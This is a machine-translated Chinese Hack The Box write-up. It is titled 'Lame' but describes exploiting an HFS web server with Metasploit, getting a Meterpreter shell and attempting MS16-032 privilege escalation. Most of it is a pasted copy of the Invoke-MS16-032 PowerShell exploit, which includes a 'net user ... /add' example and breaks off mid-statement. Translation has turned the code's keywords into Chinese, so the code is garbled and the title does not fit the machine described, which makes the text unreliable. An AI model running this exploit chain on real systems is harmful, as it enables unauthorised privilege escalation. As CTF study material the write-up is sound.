Hack The Box —— Lame

信息搜集
nmap
1NMAP -T4 -A -V 10.10.10.8

我发现服务器仅具有端口80,与HFS服务,浏览器访问相对应,并找到了HFS服务的版本号。
exploit-db
搜索相关漏洞,发现MSF上有相应的EXP
漏洞利用
使用exploit/windows/http/rejetto_hfs_exec在010-1010 msf下,并配置仪表式有效载荷。漏洞运行,反弹成功的MeterPreter Shell

sysinfo显示系统为64位,但是我们默认使用的MeterPreter有效载荷为32位,因此将MeterPreter传输到64位过程,例如Explorer.exe。

直接检查当前目录,查找user.txt,输入以查看内容并提交。
目前,发现它是非管理员的权限,MeterPreter使用GetSystem来尝试提高权威,但发现它失败了。

尝试在本地使用MSF来升级权利。

寻找可用的经验值,可以找到可以在Windows Server 2012上使用MS16-032的目标。

但是,在尝试时,我发现它没有成功,而回弹壳也不是系统许可。
因此,搜索漏洞的利用脚本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
函数Indoke-MS16-032 {
#。概要
MS16-032的Powershell实施。利用针对所有脆弱的目标
支持PowerShell V2+的操作系统。因发现的荣誉
错误的错误和逻辑是将其转移给James Forshaw(@Tiraniddo)。
TARGETS:
* win7-win10 2k8-2k12==32/64位!
*在X32 Win7,X64 Win8,X64 2K12R2上测试
注释:
*为了使比赛条件成功,机器必须具有2+ CPU
内核。如果在VM中进行测试,请确保在需要时添加核心。
*利用相当可靠,但是〜1/6次会说它成功了
但不要产生外壳。不确定问题是什么,只是重新运行和利润!
*想了解更多有关MS16-032==的信息
正在加载...
googleprojectzero.blogspot.co.uk
blog: http://www.fuzzysecurity.com/
许可证: BSD 3-sause
所需依赖项: PowerShell V2+
可选依赖项:无。参数申请
指定运行的应用程序。参数命令行
指定命令行,例如网络用户xxx xxx /add
。例子
C: \ PS Invoke-MS16-032-申请C: \ Windows \ System32 \ CMD.EXE
C: \ ps Invoke -MS16-032 -Application C: \ Windows \ System32 \ cmd.exe -commandline' /c Net unt user 1 1 /add'
#
[cmdletbinding()]
param(
[parameter(强制性=$ false,parametersetname='c: \ windows \ system32 \ cmd.exe')]]
[细绳]
$申请,
[参数(强制性=$ false)]
[细绳]
$ commandline
)
add -type -typedefinition @''
使用系统;
使用System.Diagnostics;
使用system.runtime.interopservices;
使用system.security.principal;
[structlayout(layoutkind.sequential)]
公共结构Process_Information
{
公共intptr hprocess;
公共intptr hthread;
公共int dwprocessid;
public int dwthreadid;
}
[structlayout(layoutkind.sequention,charset=charset.unicode)]]
公共结构startupinfo
{
公共INT32 CB;
公共字符串;
公共字符串lpdesktop;
公共字符串lptitle;
公共INT32 DWX;
公共INT32 DWY;
public int32 dwxsize;
公共INT32脱颖而出;
公共INT32 DWXCOUNTCHARS;
公共INT32 DWYCOUNTCHARS;
公共INT32 DWFILLATTRIBUTE;
公共INT32 DWFLAGS;
public int16 wshowwindow;
公共int16 cbresved2;
公共Intptr lpresverd2;
公共intptr hstdinput;
public intptr hstdoutput;
公共intptr hstderror;
}
[structlayout(layoutkind.sequential)]
公共结构SQO
{
公共int长度;
公共Int ImpersonationLevel;
public int int ContextTrackingMode;
公共布尔有效;
}
公共静态类Advapi32
{
[dllimport('advapi32.dll',setlastror=true,charset=charset.unicode)]]
公共静态外部bool createProcesswithlogonw(
字符串用户名,
字符串域,
字符串密码,
int logonflags,
字符串应用程序名称,
字符串命令行,
int creationflags,
int环境,
字符串CurrentDirectory,
ref startupinfo startupinfo,
out process_information processInformation);
[dllimport('advapi32.dll',setlastror=true)]
公共静态外部布尔setThreadToken(
ref intptr线程,
intptr令牌);
[dllimport('advapi32.dll',setlastror=true)]
公共静态外部bool openthreadtoken(
intptr threadhandle,
int deasiredaccess,
bool openAsself,
out intptr tokenhandle);
[dllimport('advapi32.dll',setlastror=true)]
公共静态外部布尔开放式token(
intptr ProcessHandle,
int deasiredaccess,
ref intptr tokenhandle);
[dllimport('advapi32.dll',setlastror=true)]
公共外部静态bool deplicateToken(
intptr castertokenhandle,
int security_impersonation_level,
ref intptr deplicateTokenHandle);
}
公共静态类内核32
{
[dllimport('kernel32.dll')]
公共静态外部UINT GETLASTROR();
[dllimport('kernel32.dll',setlasterror=true)]
公共静态外部intptr getCurrentProcess();
[dllimport('kernel32.dll',setlasterror=true)]
公共静态外部intptr getCurrentThread();
[dllimport('kernel32.dll',setlasterror=true)]
公共静态extern int getThreadId(intptr hthread);
[dllimport('kernel32.dll',setlasterror=true)]
公共静态extern int getProcessIdofThread(intptr handle);
[dllimport('kernel32.dll',setlasterror=true)]
公共静态外部Int supsendThread(intptr hthread);
[dllimport('kernel32.dll',setlasterror=true)]
公共静态外部int resumeThread(intptr hthread);
[dllimport('kernel32.dll',setlasterror=true)]
公共静态外部布尔终止程序(
intptr hprocess,
UINT UEXITCODE);
[dllimport('kernel32.dll',setlasterror=true)]
公共静态外部bool关闭手(INTPTR hobject);
[dllimport('kernel32.dll',setlasterror=true)]
公共静态外部bool副本(
intptr hsourceprocesshandle,
intptr hsourcehandle,
intptr htargetProcessHandle,
ref intptr lptargethandle,
int dwdesiredaccess,
Bool Binherithandle,
int dwoptions);
}
公共静态类NTDLL
{
[dllimport('ntdll.dll',setlasterror=true)]
公共静态extern int ntimpersonateThread(
intptr threadhandle,
intptr threadtompersonate,
ref sqos securityQualityOfService);
}
'@
函数获取threadHandle {
#startupinfo struct
$ startupinfo=new-object startupinfo
$ startupinfo.dwflags=0x00000101#startf_usestdhandles
$ startupinfo.wshowwindow=0;
$ startupinfo.hstdinput=[kernel32] :getCurrentThread()
$ startupinfo.hstdoutput=[kernel32] :getCurrentThread()
$ startupinfo.hstderror=[kernel32] :getCurrentThread()
$ startupi